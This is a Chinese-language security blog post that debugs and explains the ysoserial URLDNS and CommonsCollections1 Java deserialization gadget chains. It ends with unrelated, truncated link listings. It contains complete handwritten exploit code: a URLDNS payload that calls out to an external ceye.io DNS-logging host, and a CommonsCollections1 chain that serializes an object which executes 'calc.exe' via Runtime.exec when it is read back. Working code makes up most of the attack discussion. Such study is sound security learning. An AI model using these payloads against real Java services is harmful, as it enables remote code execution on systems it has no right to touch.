ysoserial-调试分析总结篇(1)
前言:
ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是跟着网上教程,自己理解也不够充分,现在重新根据自己的调试进行理解,这篇文章先分析URLDNS和commonCollections1
利用链分析:
1.urldns
调用链如上图所示,由hashmap的key进行hash计算时,如果key为URL类的对象,则调用key.hashcode实际为调用了URL类对象的hashcode,从而触发dns解析,这个手写exp也比较容易,设置hashCode为1为了putval时候重新计算hash,否则直接返回hashCode就触发不了dns解析了
到这里将触发调用URL类的hashCode
exp.java:
package URLDNS; import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap; public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> obj = new HashMap<URL, String>();
String url = "http://p9tdlo.ceye.io";
URL a_url = new URL(url);
Class clazz = Class.forName("java.net.URL");
Field field = null;
field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(a_url,-1);
obj.put(a_url,"tr1ple");
//
//序列化
//
FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser");
ObjectOutputStream obj_out = new ObjectOutputStream(fo);
obj_out.writeObject(obj);
obj_out.close(); ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream bo_obj = new ObjectOutputStream(bo);
bo_obj.writeObject(obj);
bo_obj.close();
String bo_str = Arrays.toString(bo.toByteArray());
System.out.println("serialize byte code");
System.out.println(bo_str);
} }
read.java
package URLDNS; import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream; public class ReadObj {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser");
ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser"));
o.readObject(); }
}
2.commonCollections1
调用链如上图所示
反序列化首先从invokecationhandler的readObject开始
然后调用lazymap的readObject
这里是因为构造payload的时候,实际上将proxy.newinstance创建的proxy代理类传进handler,那么实际上反序列化的时候根据序列化数据的排列顺序,应该首先调用外层invokecationhandler的readObject,然后调用内部成员变量的readObject
原因正是在反序列化正常的流程中,defaultReadFields方法,读取序列化数据,其入口参数即外部的对象,以及该对象的类
在该函数内部将读取外层对象的域,并依次将其反序列化,所以这里实际上invocationhandler只是一个容器作用,将实际要反序列化的代理proxy放进去,然后就会调用proxy的readObject(),然后恢复代理的lazpmap,包括后面还要进行hashmap的readObject(lazymap作为容器将其装进去),恢复hashmap
将所有对象还原后,在invokecationhandler的readObject中将调用memerValues.entrySet,而我们知道被装进容器的是被代理的lazymap类,此时调用proxy代理的entrySet,那么此时将触发代理类的invoke函数
此时将handler中不存在entryset,此时将调用lazymap.get(“entrySet”)
在get函数中将调用this.factory.transform,而此时this.factory为定义的用于执行命令的转换链
在chained转换链中,将循环调用属性iTranformers中的transformer方法
第一次:
第一次调用ConstantTransformer类,将直接返回iConstant
而此时即返回类Runtime
第二次:
第二次循环进来即调用invokeTransformer来反射调用方法,并且返回object,并且这里面的方法名,和参数都是可控的,因此才能够在这里定义rce的命令,能够找到这种能够利用的类真的是牛逼。。
那么反射先拿到java.lang.class ,按道理拿到类Runtime,就可以直接反射getRunme方法,这里拿到getMethod方法,然后再反射调用Runtime的getMethod拿到getRuntime方法
第三次:
这里实际上就是反射调用getRuntime了,此时将返回Runtime类的实例
第4轮:
此时已经有了Runtime类的实例,就可以调用exec执行命令了
此时将RCE执行clac.exe
了解完整个触发以及调用过程就可以手写exp了,方便加深对该利用链的认识
手写exp:
exp.java
package CommonsCollections1;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler; public class exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
final Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),//拿到getruntime方法
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),//拿到runtime类
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})//rce
}; final Transformer chained = new ChainedTransformer(trans);
final Map innerMap = new HashMap();
final Map outMap = LazyMap.decorate(innerMap,chained); final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
han_con.setAccessible(true);
InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap); final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han); final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
out_con.setAccessible(true);
InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy); FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
ObjectOutputStream obj = new ObjectOutputStream(fo);
obj.writeObject(out);
obj.close();
}
}
readObj.java
package CommonsCollections1; import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime; //jdk<=8u71
//
public class readObj {
public static void main(String[] args) throws IOException {
FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
ObjectInputStream obj_in = new ObjectInputStream(fi);
try {
obj_in.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
ysoserial-调试分析总结篇(1)的更多相关文章
- 使用Windbg和SoS扩展调试分析.NET程序
在博客堂的不是我舍不得 - High CPU in GC(都是+=惹的祸,为啥不用StringBuilder呢?). 不是我舍不得 - .NET里面的Out Of Memory 看到很多人在问如何分析 ...
- Anroid逆向学习从编写so到静动态调试分析arm的一次总结
Anroid逆向学习从编写so到静动态调试分析arm的一次总结 一.前言 最近跟着教我兄弟学逆向这篇教程学习Android逆向,在第七课后作业反复折腾了好几天,正好在折腾的时候对前面的学习总结一波,动 ...
- [Android]第一个cm调试分析
0x00:写在前面 一直想入门Android安全,当时是极客大挑战出题的时候,被cx表哥甩锅强行去学了点android的开发,之后慢慢接触,感觉还是挺有意思的.cx表哥说先从逆向分析入门吧,之后可以 ...
- CVE-2018-0798:Microsoft office 公式编辑器 Matrix record 字段栈溢出漏洞调试分析
\x01 前言 2018 年 1 月 9 日,Office 公式编辑器再曝出新漏洞,编号为 CVE-2018-0798.提起公式编辑器大家都不陌生,之前的 CVE-2017-11882 和 CVE-2 ...
- gdb调试coredump(使用篇)
gdb调试coredump(使用篇) 看到一个非常好的介绍coredump的文章,做个记录, 参考链接: https://blog.csdn.net/sunxiaopengsun/article/de ...
- Android事件传递机制详解及最新源码分析——ViewGroup篇
版权声明:本文出自汪磊的博客,转载请务必注明出处. 在上一篇<Android事件传递机制详解及最新源码分析--View篇>中,详细讲解了View事件的传递机制,没掌握或者掌握不扎实的小伙伴 ...
- 使用ML.NET实现情感分析[新手篇]后补
在<使用ML.NET实现情感分析[新手篇]>完成后,有热心的朋友建议说,为何例子不用中文的呢,其实大家是需要知道怎么预处理中文的数据集的.想想确实有道理,于是略微调整一些代码,权作示范. ...
- shell日志分析进阶篇
前面我们说了shell分析日志常用指令,现在我们随ytkah一起看看shell日志分析进阶篇,假设日志文件为ytkah.log //统计不重复抓取数量 cat ytkah.log | awk '{pr ...
- Linux调试分析诊断利器——strace
strace是个功能强大的Linux调试分析诊断工具,可用于跟踪程序执行时进程系统调用(system call)和所接收的信号,尤其是针对源码不可读或源码无法再编译的程序. 在Linux系统中,用户程 ...
- 最全Pycharm教程(11)——Pycharm调试器之断点篇
最全Pycharm教程(1)--定制外观 最全Pycharm教程(2)--代码风格 最全Pycharm教程(3)--代码的调试.执行 最全Pycharm教程(4)--有关Python解释器的相关配置 ...
随机推荐
- numpy 加速 以及 ipython
先安装openblas, 然后用pip 安装numpy sudo ln -s /usr/lib64/libopenblas-r0.2.14.so /usr/lib64/libopenblas.so 为 ...
- C#Web网站的创建
一.CS与BS的区别 CS软件:需要在客户端安装软件. BS软件:只需要浏览器就能运行,Web网站就是BS软件. 创建过程: 1.文件新建---新建网站----空白网站 2.右击网站项目---添加网页 ...
- A brief introduction to complex analysis
\(\underline{Def:}\)A func \(U(\subset \mathbb{C}) \stackrel{f}\longrightarrow \mathbb{C}\)is (compl ...
- 领域建模-模型验证与面向资源的API设计
使用 UMLet 建模 1. 使用类图,分别对 Asg_RH 文档中 Make Reservation 用例以及 Payment 用例开展领域建模.然后,根据上述模型,给出建议的数据表以及主要字段,特 ...
- [LC] 348. Design Tic-Tac-Toe
Design a Tic-tac-toe game that is played between two players on a nx n grid. You may assume the foll ...
- yum pip
方式1(yum安装):1.首先安装epel扩展源:[root@localhost ~]# yum -y install epel-release如果没有安装epel扩展源而直接安装python-pi ...
- 传统的Servlet在spring boot中怎么实现的?
传统的Servlet在spring boot中怎么实现的? 本文主要内容: 1:springboot一些介绍 2:传统的servlete项目在spring boot项目中怎么实现的?web.xml.u ...
- Self-examination
第一次参加省赛,算是真正感受到比赛的残酷.拿到好成绩,需要平时大量的积累,甚至也需要一点运气,然后我还做的不够,但我觉得我可以做得更好. 我之前是没有任何基础,大一才刚刚从知码开门入门.然后刚开始一直 ...
- Outlook邮件的右键菜单中添加自定义按钮
customUI代码如下: <customUI xmlns="http://schemas.microsoft.com/office/2009/07/customui"> ...
- ARM7探究
1.流水线:三级流水线 预取.译码.执行.三级并行发生 2.什么是哈佛结构? 哈佛结构是一种存储器结构,是一种并行体系结构,它的主要特点是将程序和数据存储在不同的存储空间中,即程序存储器和数据存储器是 ...